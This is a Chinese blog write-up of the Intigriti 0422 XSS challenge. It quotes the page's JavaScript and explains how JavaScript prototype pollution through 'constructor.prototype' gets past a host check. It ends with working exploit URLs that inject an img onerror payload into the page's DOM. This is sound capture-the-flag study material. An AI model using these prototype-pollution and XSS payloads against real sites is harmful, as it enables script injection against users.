题目链接:
https://challenge-0422.intigriti.io/
页面如下:
查看源代码 该窗口由iframe实现
直接打开源地址查看源码
这段代码可以为html页面添加内容
function main() {
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if (qs.config) {
//检查用户传入的qs.config是否存在值 如果由 替换给appConfig
merge(appConfig, qs.config)
appConfig["customMode"] = true
//替换值appConfig中的customMode的值为true
}
let devSettings = Object.create(null)
devSettings["root"] = document.createElement('main')
devSettings["isDebug"] = false
devSettings["location"] = 'challenge-0422.intigriti.io'
devSettings["isTestHostOrPort"] = false
if (checkHost()) {
//满足checkHost函数即可运行下层函数
devSettings["isTestHostOrPort"] = true
merge(devSettings, qs.settings)
}
if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
//当devSetting中的两个值存在一个值为真时触发
if (!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else {
m.mount(devSettings.root, {view: function() {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"] ,
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}})
}
document.body.appendChild(devSettings.root)
}
进行了四个判断 据分析 我们需要满足chekHost函数的条件触发appconfig和devsetting的打印最后触发append函数
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
//url格式举例:http://www.baidu.com:80
//函数将用户请求的url以:分割 列表a中的0元素是访问地址 元素1则是端口号
当访问地址是本地时 就通过函数 或者端口是8080 显然不能直接以本地方式访问 或者将端口改为8080
这时就需要原型链的帮助了
众所周知 在js中存在 prototype
和 __proto__
两种属性
其中对象存在__proto__
构造函数则存在prototype
原型链污染就是通过修改对象的上级构造函数的属性 从而影响到对象的属性
如:
a的构造函数是数组类 影响数组类的属性就能让所有数组得到新的属性0而它的值是‘localhost’
前提是数组的值没有被覆盖
merge方法被重写 其中对值进行了过滤 不能用__proto__
访问类
但对象的构造方法的prototype与对象的__proto__指向同一个地址
其中window-toolbar 作为一个数组 并且我们可以对该值做出修改 此时就可以污染数组的原型
尝试对数组的值0和值1进行修改
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][0]='localhost'
显然污染成功 但是值被新的值覆盖 没有输出appConfig和devSetting
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080
污染值1
成功返回
给setting值传递参数
查找doc树
root.ownerDocument.childNodes[1].children[1].children[1]
root.ownerDocument.body.children[1]
尝试对上面的路径进行xss注入
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][childNodes][1][children][1][children][1][outerHTML][1]=%3Cimg%20src%3D%271%27%20onerror%3Dalert%28%27xxx%27%29%3E
//测试成功
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML][1]=%3Cimg%20src%3D%271%27%20onerror%3Dalert%28%27xxx%27%29%3E
//测试成功
标签:__,xss,appConfig,0422,intigrit,window,devSettings,challenge
From: https://www.cnblogs.com/fr09/p/18109854